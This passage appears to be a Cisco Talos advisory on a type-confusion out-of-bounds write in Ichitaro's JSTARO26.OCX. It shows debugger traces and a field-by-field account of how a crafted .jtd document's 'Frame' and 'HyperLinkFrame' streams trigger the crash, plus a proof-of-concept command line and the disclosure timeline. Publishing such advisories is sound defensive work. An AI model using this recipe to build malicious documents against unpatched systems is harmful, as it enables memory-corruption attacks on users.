eip=53cf0056 esp=00e296f8 ebp=00e29704 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
JSTARO26!DRFL_SaveFD3A+0xd2f37:
53cf0056 898654070000    mov     dword ptr [esi+754h],eax ds:0023:157e5674=????????

0:000> dc @esi L4
157e4f20  544cb654 00000000 00000000 00000000  T.LT............

0:000> ? @$p - jstaro26
Evaluate expression: 10401364 = 009eb654

This object was allocated to be only 0xe0 bytes in size. As this instruction is writing to offset +0x754 of the object, it is writing outside the object’s boundaries. If we proceed over this instruction, the application will attempt to write to this location, resulting in an access violation.

0:000> ? 0x754 - 0xe0
Evaluate expression: 1652 = 00000674

0:000> p
(14e4.142c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0b3b4938 ecx=157e4f20 edx=544cb654 esi=157e4f20 edi=00000000
eip=53cf0056 esp=00e296f8 ebp=00e29704 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
JSTARO26!DRFL_SaveFD3A+0xd2f37:
53cf0056 898654070000    mov     dword ptr [esi+754h],eax ds:0023:157e5674=????????

The base addresses of the modules described are as follows:

Browse full module list
start    end        module name
53ae0000 54a1c000   JSTARO26   (export symbols)       JSTARO26.OCX
213e0000 21402000   jsmisc32   (deferred)             
3c7c0000 3f04e000   T33com     (deferred)             
5f800000 5f8b1000   JSFC       (deferred)             
00a00000 00d2d000   taro33     (deferred)             

Exploit Proof of Concept

To modify a given document with the necessary attributes, run the proof-of-concept with Python against the desired document using the following parameters:

$ python poc.py3.zip modify /path/to/document.jtd

This will update the document in-place with the necessary changes required to trigger the vulnerability. The same proof-of-concept can be used to process a document and scan it for the necessary attributes by using the “read” command instead of “modify”. The following explanation will utilize the output of this script to identify the locations of relevant objects.

The document file format used by the application is utilizing Microsoft’s COM Structured Storage API, known as a Compound Document File. This document is composed of a number of streams, which contain the necessary data for the application to load the document. The names of the two streams that are relevant to this vulnerability are “Frame” and “HyperLinkFrame”. Within both of these streams, each of the integers are encoded in their big-endian format. The contents of these streams are essentially arrays of objects that have the following structure and are referred to within this document as a “block”. Each block begins with a 16-bit type and 16-bit size as its header. Immediately following this header is the data for the block.

>>> jtd.Stream.block().alloc(size=57005)
<class jtd.Stream.block> 'unnamed_7f5978c0b1d0' {unnamed=True}
[0] <instance jtd.ntohs 'type'> 0x0000 (0)
[2] <instance jtd.ntohs 'size'> 0xdead (57005)
[4] <instance ptype.block 'data'> ""
[4] <instance dynamic.block(57005) 'padding'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00   ...total 57005 bytes...  \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

At the beginning of the “Frame” stream within the provided proof-of-concept is a block containing the header for the stream. Immediately following this header is a block of type 0x0101. This block contains a 32-bit integer describing the number of blocks that follow it. Each of the blocks that follow the count within the “Frame” stream are used to reference each frame object stored within the document.

>>> frame
<class jtd.FrameStream> 'unnamed_7f9bd6c91550' {unnamed=True}
[0] <instance jtd.Stream.block 'header'> "\x00\x01\x00\x04\x00\x02\x00\x01"
[8] <instance jtd.Stream.block 'count'> "\x01\x01\x00\x04\x00\x00\x00\x0d"
[10] <instance jtd.Frame_members 'items'> jtd.Stream.block[13] "\x01\x02\x00\x38\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00  ...total 780 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

>>> frame['count']
<class jtd.Stream.block> 'count'
[8] <instance jtd.ntohs 'type'> 0x0101 (257)
[a] <instance jtd.ntohs 'size'> 0x0004 (4)
[c] <instance jtd.FrameStream._count 'data'> +0x0000000d (13)
[10] <instance dynamic.block(0) 'padding'> ""
>>> 

At offset 0xc4 of the “Frame” stream of the proof-of-concept is the first type required to trigger this vulnerability. Within the “Frame” stream, each block has a type of 0x0102 and should always be 0x38 bytes in size. Immediately following the block header are the contents of the “Frame” object describing the necessary information referenced by the other streams.

>>> frame.at(0xc4).getparent(jtd.Stream.block)
<class jtd.Stream.block> '3'
[c4] <instance jtd.ntohs 'type'> 0x0102 (258)
[c6] <instance jtd.ntohs 'size'> 0x0038 (56)
[c8] <instance jtd.Frame_object_777b3f 'data'> "\x00\x00\x00\x03\x00\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00"
[100] <instance dynamic.block(0) 'padding'> ""

At offset 0xc8 of the “Frame” stream is the following data structure. The first 32-bits (at offset +0x4 of the block) contains the index of the frame object that will need to be referenced later. Following this 32-bit integer (at offset +0x6 of the block), is the 16-bit case of the frame object used to control which object is to be constructed. With regards to the vulnerability, this case must be either 0x0001, 0x0003, or 0x0004 in order to trigger a type confusion. The proof-of-concept is using an index of 0x00000003.

>>> _['data']
<class jtd.Frame_object_777b3f> 'data'
[c8] <instance jtd.ntohl 'lv_index_18'> +0x00000003 (3)
[cc] <instance jtd.ntohs 'lvw_case_14'> 0x0004 (4)
[ce] <instance jtd.baseobject_9eafa8 'vobject_7779f9'> "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00"

If we continue to descend into the structure of the frame object, we will eventually get to the bitfield at offset 0xf8 of the stream (offset +0x30 of the block). This bitfield describes which “HyperLinkFrame” objects are relevant to the frame object. Within the provided proof-of-concept, the 6th bit is set (0x40), which should allow the “HyperLinkFrame” object of type 0x0807 to be used.

>>> _['vobject_7779f9']
<class jtd.baseobject_9eafa8> 'vobject_7779f9'
[ce] <instance jtd.ntohl 'v_frameKey_9c'> +0x00000003 (3)
[d2] <instance jtd.ntohs 'vw_uint16_a0'> 0x0000 (0)
[d4] <instance jtd.baseobject_9eafa8.field_20_figureTypeField_1 'field_20'> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00"

>>> _['field_20']
<class jtd.baseobject_9eafa8.field_20_figureTypeField_1> 'field_20'
[d4] <instance jtd.ntohs 'vw_field_0'> 0x0000 (0)
[d6] <instance jtd.ntohs 'field_2'> 0x0000 (0)
[d8] <instance jtd.ntohs 'field_4'> 0x0000 (0)
[da] <instance jtd.ntohs 'field_6'> 0x0000 (0)
[dc] <instance jtd.ntohs 'field_8'> 0x0000 (0)
[de] <instance jtd.ntohl 'v_adder_c'> +0x00000000 (0)
[e2] <instance jtd.ntohl 'field_10'> +0x00000000 (0)
[e6] <instance jtd.ntohl 'field_14'> +0x00000000 (0)
[ea] <instance jtd.ntohl 'field_18'> +0x00000000 (0)
[ee] <instance jtd.ntohl 'field_20'> +0x00000000 (0)
[f2] <instance jtd.ntohs 'field_1c'> 0x0000 (0)
[f4] <instance jtd.ntohs 'field_24'> 0x0000 (0)
[f6] <instance jtd.ntohs 'v_field_6c'> 0x0000 (0)
[f8] <instance be(jtd.HyperLinkFrameBitFlags) 'v_bitflags_70'> {bits=32,partial=True,byteorder='big'} (0x00000040,32) :> HyperLinkFrame_807
[fc] <instance jtd.ntohl 'field_74'> +0x00000000 (0)

Once a “Frame” object of the correct type exists within the document with its necessary bits set, an object within the “HyperLinkFrame” stream will need to reference the frame object using its index. Similar to the “Frame” stream, the beginning of the “HyperLinkFrame” will also contain a block for the stream’s header. Following this header is an array of members where the type of each block represents the type of member being used.

>>> hyperlinkframe
<class jtd.HyperLinkFrameStream> 'unnamed_7f9bd698c470' {unnamed=True}
[0] <instance jtd.HyperLinkFrameStream._header 'header'> "\x00\x01\x00\x04\x00\x01\x00\x01"
[8] <instance jtd.HyperLinkFrameStream._members 'members'> jtd.HyperLinkFrame.type[2] "\x08\x07\x00\x04\x00\x00\x00\x03\xff\xff\x00\x04\x00\x00\x00\x00"
[18] <instance dynamic.block(0) 'padding'> ""

As this stream does not contain a separate block for the number of members, the stream will use a type of 0Xffff to terminate the array of members.

>>> hyperlinkframe['members'][-1]
<class jtd.HyperLinkFrame.type> '1'
[10] <instance jtd.HyperLinkFrame.enum 'type'> 0xffff (65535)
[12] <instance jtd.ntohs 'size'> 0x0004 (4)
[14] <instance jtd.HyperLinkFrameContent 'data'> "\x00\x00\x00\x00"
[18] <instance dynamic.block(0) 'padding'> ""

The block relevent to this vulnerability is at offset +0x8 of the “HyperLinkFrame” stream. This block has a type of 0x0807 and a size of 4.

>>> hyperlinkframe['members'][0]
<class jtd.HyperLinkFrame.type> '0'
[8] <instance jtd.HyperLinkFrame.enum 'type'> HyperLinkFrame_807(0x807)
[a] <instance jtd.ntohs 'size'> 0x0004 (4)
[c] <instance jtd.HyperLinkFrameContent<0807> 'data'> "\x00\x00\x00\x03"
[10] <instance dynamic.block(0) 'padding'> ""

After the header of the block for the “HyperLinkFrame” object is the index for the frame. This index needs to match the relevant “Frame” object in order to trigger the vulnerability. Within the provided proof-of-concept, at offset +0xc of the “HyperLinkFrame” stream is the frame index of 0x00000003. As previously mentioned, the case of the frame object at index 3 must be either 0x0001, 0x0003 or 0x0004. This will result in triggering the vulnerability and allowing the write instruction to write out-of-bounds of the allocated frame object.

>>> hyperlinkframe['members'][0]['data']
<class jtd.HyperLinkFrameContent<0807>> 'data'
[c] <instance jtd.ntohl 'frame_id'> +0x00000003 (3)
[10] <instance jtd.HyperLinkFrame_807 'content'> ""
VENDOR RESPONSE

The vendor coordinated with JPCert, who released the information at: https://jvn.jp/en/jp/JVN28846531/index.html

TIMELINE

2023-08-01 - Vendor Disclosure
2023-10-19 - Vendor Patch Release
2023-10-19 - Public Release

Credit

Discovered by a member of Cisco Talos.